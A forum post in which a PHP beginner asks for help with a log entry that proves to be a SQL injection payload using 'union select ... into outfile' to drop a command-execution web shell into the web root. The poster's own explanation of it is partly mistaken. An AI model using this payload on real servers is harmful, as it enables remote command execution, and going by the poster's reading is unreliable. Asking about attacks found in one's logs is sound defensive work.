Security Related Log File

[php_learner56]

Hello all was reviewing my logs yesterday and found this. Its particularly interesting as my server is running Linux. Hoping to get some help interpreting it.

 

"union select"<?php if (isset($_REQUEST['cmd'])){ echo '<pre>'; system ($_REQUEST['cmd']); echo '</pre>'; ?><form action=<?php echo basebane($_SERVER['PHP_SELF'])?>><input type=text name=cmd size=20><input type=submit></form>","","","","","" into outfile "/var/www/html/testfile.php"/*

 

I'm fairly new to PHP but I believe the script does the following.

 

It attempts to set the $_REQUEST variable as cmd. If it is sucessful it calls the cmd variable. It then pipes the information entered in the submission form into testfile.php and runs it?

 

I don't understand what the echo"basename($_SERVER['PHP_SELF']) does though.

 

Any help would be greatly appreciated.